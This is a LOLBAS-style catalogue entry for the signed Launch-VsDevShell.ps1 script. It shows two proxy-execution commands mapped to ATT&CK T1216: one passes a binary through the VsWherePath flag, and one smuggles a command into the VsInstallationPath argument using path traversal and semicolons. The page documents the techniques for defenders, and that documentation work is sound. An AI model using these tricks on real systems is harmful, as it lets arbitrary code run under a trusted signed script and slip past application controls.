.. /Launch-VsDevShell.ps1
Star

Execute

Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Execute binaries from the context of the signed script using the "VsWherePath" flag.

    powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath "C:\windows\system32\calc.exe"
    Use case
    Proxy execution
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1216

  2. Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.

    powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; calc.exe ;"
    Use case
    Proxy execution
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1216